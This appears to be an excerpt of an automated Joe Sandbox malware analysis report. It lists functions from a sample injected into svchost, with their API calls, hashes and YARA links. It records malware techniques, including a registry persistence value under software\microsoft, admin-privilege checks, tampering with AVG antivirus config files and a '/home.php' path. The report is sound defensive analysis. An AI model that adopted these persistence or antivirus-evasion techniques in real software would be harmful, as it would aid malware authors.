                                                                                                                                                                                                              • Part of subcall function 02C97A50: GetProcessHeap.KERNEL32(00000000,?), ref: 02C97ACA
                                                                                                                                                                                                              • Part of subcall function 02C97A50: HeapFree.KERNEL32(00000000), ref: 02C97AD1
                                                                                                                                                                                                              • Part of subcall function 02C97A50: GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02C97AE0
                                                                                                                                                                                                              • Part of subcall function 02C97A50: HeapValidate.KERNEL32(00000000), ref: 02C97AE3
                                                                                                                                                                                                              • Part of subcall function 02C97A50: GetProcessHeap.KERNEL32(00000000,?), ref: 02C97AF0
                                                                                                                                                                                                              • Part of subcall function 02C97A50: HeapFree.KERNEL32(00000000), ref: 02C97AF3
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$HandleProcess$CloseFreeInformationValidate$FileUnmapView
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3732962355-0
                                                                                                                                                                                                            • Opcode ID: 2b3ccb1d657ac3d2b086756fef2aa2d9474852e8b5a35f85c6c781cd750fab56
                                                                                                                                                                                                            • Instruction ID: 8afb5dcd38b0cf55b058242d8ad3db136849feb27d825dc79ec1e2b03c97b0de
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2b3ccb1d657ac3d2b086756fef2aa2d9474852e8b5a35f85c6c781cd750fab56
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EA11E6B0A423449BEB21CF65D94C72AFBF8AF85B04F1009ACD845C3241E774DA08CA90
                                                                                                                                                                                                            Function 02C764D0 Relevance: 7.6, APIs: 5, Instructions: 64fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,762330D0,76233240,?,02C86C2C,?,00000000,?,?), ref: 02C764FD
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,?,00000000,?,02C86C2C,?,00000000,?,?,00000000), ref: 02C76518
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000,?,02C86C2C,?,00000000,?,?,00000000), ref: 02C76523
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,02C86C2C,?,00000000), ref: 02C76542
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,02C86C2C,?,00000000), ref: 02C76553
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Handle$CloseCreateInformationWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1150544999-0
                                                                                                                                                                                                            • Opcode ID: ddcbb96374705cf52cbdecc391bc96d03b85cbcf8ec2711a2cff00bd067f1128
                                                                                                                                                                                                            • Instruction ID: 98b00093aa3a58c397da18543a5d5bb16bafac63a40451ced172bc20f7b26919
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ddcbb96374705cf52cbdecc391bc96d03b85cbcf8ec2711a2cff00bd067f1128
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4111C672680A447BE7218A56EC48FAB7B5CEBC5B64F148219FE05C7185C734CA05D771
                                                                                                                                                                                                            Function 02C86B86 Relevance: 7.6, APIs: 5, Instructions: 54sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02C86BAA
                                                                                                                                                                                                            • FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02C86BE8
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02C86C03
                                                                                                                                                                                                            • FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 02C86C0A
                                                                                                                                                                                                            • Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02C86C31
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 433761119-0
                                                                                                                                                                                                            • Opcode ID: 8e31e683ef9638f6871f9a382b8fa0cc2f018bd0ac6f44603bf784065cfde52e
                                                                                                                                                                                                            • Instruction ID: 68bbfa5dd690334f510e52825f503ac55621b68adebc6cd197fbbc4c1d8dfd3f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8e31e683ef9638f6871f9a382b8fa0cc2f018bd0ac6f44603bf784065cfde52e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8D119130940A59ABDB21EB64DC48BEA77BCFF5130CF2486A8DA51972C0DB709A54CF61
                                                                                                                                                                                                            Function 02C76060 Relevance: 7.5, APIs: 5, Instructions: 42memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C76084
                                                                                                                                                                                                              • Part of subcall function 02C75F50: memset.MSVCRT ref: 02C75F72
                                                                                                                                                                                                              • Part of subcall function 02C75F50: memset.MSVCRT ref: 02C75F90
                                                                                                                                                                                                              • Part of subcall function 02C75F50: lstrcpynA.KERNEL32(?,?,00000104), ref: 02C75FAD
                                                                                                                                                                                                              • Part of subcall function 02C75F50: RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000102,?,?,?), ref: 02C7601D
                                                                                                                                                                                                              • Part of subcall function 02C75F50: RegSetValueExA.ADVAPI32(?,7D2DE31Fa,00000000,00000001,?,00000104), ref: 02C7603F
                                                                                                                                                                                                              • Part of subcall function 02C75F50: RegCloseKey.ADVAPI32(?), ref: 02C7604D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C760B4
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C760B7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C760C4
                                                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000000), ref: 02C760C7
                                                                                                                                                                                                              • Part of subcall function 02C75C80: memset.MSVCRT ref: 02C75CA0
                                                                                                                                                                                                              • Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75CE7
                                                                                                                                                                                                              • Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75CF6
                                                                                                                                                                                                              • Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75CFF
                                                                                                                                                                                                              • Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D09
                                                                                                                                                                                                              • Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D27
                                                                                                                                                                                                              • Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D33
                                                                                                                                                                                                              • Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D3C
                                                                                                                                                                                                              • Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D46
                                                                                                                                                                                                              • Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D64
                                                                                                                                                                                                              • Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D71
                                                                                                                                                                                                              • Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D7B
                                                                                                                                                                                                              • Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D86
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocexit$Heap$memset$Process$AdminCloseFreeOpenUserValidateValuelstrcpyn
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1120961889-0
                                                                                                                                                                                                            • Opcode ID: e4218edf6ba31e1397917b57c30f898167aba79f535c1c080ad9b59ea0340bec
                                                                                                                                                                                                            • Instruction ID: 1fcf35d9ee1f3b641c989daa45aed02a64f438b58484f111065045de3195ad55
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e4218edf6ba31e1397917b57c30f898167aba79f535c1c080ad9b59ea0340bec
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 97F0F032EC46246BCA202AA5AC08F8BBB5CEF807A5F140A12F508D7080CB759065CAE4
                                                                                                                                                                                                            Function 02C769D0 Relevance: 7.5, APIs: 5, Instructions: 20COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(00000000,00000000,02C8797D,82c31d1a,?,?,?,?,?,?), ref: 02C769D7
                                                                                                                                                                                                            • GetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 02C769E2
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C769EA
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(00000000), ref: 02C769F5
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 02C769FC
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$AdminCreateDirectoryFolderMakePathSystemUser
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1233776721-0
                                                                                                                                                                                                            • Opcode ID: b1ecba415cedae85a45a6f4e2ea15c6acc10cec7b8fdc08286130b115ba33829
                                                                                                                                                                                                            • Instruction ID: 029d2a93728ab67eaee32f07bc64c6bb064ad0705db6a9bbf4102762476c0be3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b1ecba415cedae85a45a6f4e2ea15c6acc10cec7b8fdc08286130b115ba33829
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1FD01732E819919BD7131F31EC0CB6F766CBBC5B16F198AA4F842D3040EF34C2128665
                                                                                                                                                                                                            Function 00402330 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402348
                                                                                                                                                                                                            • MoveFileA.KERNEL32(?,?), ref: 0040240F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileFolderMovePath
                                                                                                                                                                                                            • String ID: \AVG\AVG9\dfmcfg.dat$\AVG\AVG9\dfncfg.dat
                                                                                                                                                                                                            • API String ID: 1404575960-1083204512
                                                                                                                                                                                                            • Opcode ID: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
                                                                                                                                                                                                            • Instruction ID: 218ec206f196096905059f0fa712dce574fe6e09d85f3a618a89c2f21692c038
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 43214FB45043448FC759CF14EA98B92BBF4BF98300F1581FADA89A73A2D774D944CB98
                                                                                                                                                                                                            Function 02C92F00 Relevance: 6.1, APIs: 4, Instructions: 56timeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000000,00001400,00000000,00000000,7734FFB0,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F2C
                                                                                                                                                                                                            • GetProcessTimes.KERNEL32(00000000,02C86436,?,?,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F4A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F68
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F79
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess$CloseInformationOpenTimes
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3228293703-0
                                                                                                                                                                                                            • Opcode ID: 74d2c5d0289e147a554c2e2df2393a89a28dd9d4837a4e901b2f3e514c150298
                                                                                                                                                                                                            • Instruction ID: 00ae0e0cd36ab9f62e51b22f890fa0752f49c87762c8a4faa31451496eada84c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 74d2c5d0289e147a554c2e2df2393a89a28dd9d4837a4e901b2f3e514c150298
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EE110A71D51228AB8B11DFD58888AEEBBBCBB4CB10F14468AF955B3240D7715A058BE1
                                                                                                                                                                                                            Function 02C86290 Relevance: 6.0, APIs: 4, Instructions: 27threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C85890,00000000,00000000,00000000), ref: 02C862A4
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C862BC
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C862CD
                                                                                                                                                                                                            • ExitThread.KERNEL32 ref: 02C862D5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleThread$CloseCreateExitInformation
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4233414108-0
                                                                                                                                                                                                            • Opcode ID: d328a97ac5bed89f73c61e0b3d1f8b3cad970d3428fa4f8c58baed391d3095c6
                                                                                                                                                                                                            • Instruction ID: d8b473da1fd9b586a227525e106e6f6449cad00aa78bfcce2198c722376e50d6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d328a97ac5bed89f73c61e0b3d1f8b3cad970d3428fa4f8c58baed391d3095c6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CFE09B30EC1358B7F3219750DC0EF5A7A5C9F01B0AF2441D0F905A71C0C7F0A6108665
                                                                                                                                                                                                            Function 02C835A0 Relevance: 5.1, APIs: 4, Instructions: 54memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C76271
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C7628F
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C762AB
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegQueryValueExA.KERNEL32(?,7D2DE31Fa,00000000,00000001,?,00000104), ref: 02C762D2
                                                                                                                                                                                                              • Part of subcall function 02C76240: GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02C7634A
                                                                                                                                                                                                              • Part of subcall function 02C76240: HeapAlloc.KERNEL32(00000000), ref: 02C76351
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C76365
                                                                                                                                                                                                              • Part of subcall function 02C76240: lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02C7637E
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegCloseKey.ADVAPI32(?), ref: 02C7638C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C835F8
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C835FB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C83608
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,00000000,76230F10,02C88D9B,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C8360B
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Processmemset$AllocCloseFreeOpenQueryValidateValuelstrcpyn
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 789118668-0
                                                                                                                                                                                                            • Opcode ID: 6ac6e39874d9b8a87fc39220fb479dd2fe0c69e0d2da136d3b06b31e35e5977b
                                                                                                                                                                                                            • Instruction ID: bf5478c376627f2509143d8bfa76f969eb437a9b52595ec0a6831fcc23554143
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6ac6e39874d9b8a87fc39220fb479dd2fe0c69e0d2da136d3b06b31e35e5977b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 23012431F892801ADF116B3D686073AABDA9FC2968B0C92DAE446C7280D722C9008340
                                                                                                                                                                                                            Function 02C97090 Relevance: 4.6, APIs: 3, Instructions: 74fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,?,00000000,?,?,02C975F3), ref: 02C970CF
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateFile
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 823142352-0
                                                                                                                                                                                                            • Opcode ID: e0b0319cb903f30aaee89296e4cc31b7d61303c5611d790538c0c254949ea6e6
                                                                                                                                                                                                            • Instruction ID: 0c918c480530b2e208f2bf5f63c3885e27971d0dfa48691c777c5f3d850b4b0e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e0b0319cb903f30aaee89296e4cc31b7d61303c5611d790538c0c254949ea6e6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5811E9B2A413445BDB209E6DECC576AF7ECEB84225F1009BEE949C3640C37199448650
                                                                                                                                                                                                            Function 02C72930 Relevance: 4.5, APIs: 3, Instructions: 49COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocexitfree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3367576030-0
                                                                                                                                                                                                            • Opcode ID: 0f0cf4d178bcc210f5dc5721167d9b50273371881535febb34f9f0f099658dd9
                                                                                                                                                                                                            • Instruction ID: 000e5a7d30da90e0a151403ee1b5ecb3026ebeb8182f7ae249b2a5586dc08dfa
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0f0cf4d178bcc210f5dc5721167d9b50273371881535febb34f9f0f099658dd9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E6018476600159ABD7118F4ADC80F9B7BA9EF88750F040518FE0587301C771D911CBE6
                                                                                                                                                                                                            Function 02C88F70 Relevance: 4.5, APIs: 3, Instructions: 24threadmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02C88F7E
                                                                                                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 02C88F85
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(02C890E0,00000008,00000000,02C890E0), ref: 02C88F9F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Thread$CurrentPriorityProtectVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1494777729-0
                                                                                                                                                                                                            • Opcode ID: 75b85df2a244b49084cb9c6be1fee03f6b29c8988f75ef377feece3f958ed39b
                                                                                                                                                                                                            • Instruction ID: 3d072e8d0ad7959a8a5fc85f18e2cf0cd3f70cfa6d2a8bf5e3b67d3b8feb11de
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 75b85df2a244b49084cb9c6be1fee03f6b29c8988f75ef377feece3f958ed39b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7AE0E5B6E40259EBCF01DFD8E845E9DB778FB48321F008659F915A7240C735A914CB60
                                                                                                                                                                                                            Function 02C82CE0 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,02C7FB17,02C7FB03,?,02C87515,?,?,?), ref: 02C82CF1
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,?,?), ref: 02C82CF8
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C82D08
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocateProcessmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 983300431-0
                                                                                                                                                                                                            • Opcode ID: 75dbf35bca06dd830f604bb688404d1911218ff929d5c56889fef34081a0ce2d
                                                                                                                                                                                                            • Instruction ID: e39a6daae8fda8d00c1477b3830d4f8cdadd1efeb8606937784db8c4a3b33ff1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 75dbf35bca06dd830f604bb688404d1911218ff929d5c56889fef34081a0ce2d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 75E0CD37F4156262C91611197C0CBD76A18CFC1625F254526BE05D71C1EA11C90582B1
                                                                                                                                                                                                            Function 0040207A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 0040208C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
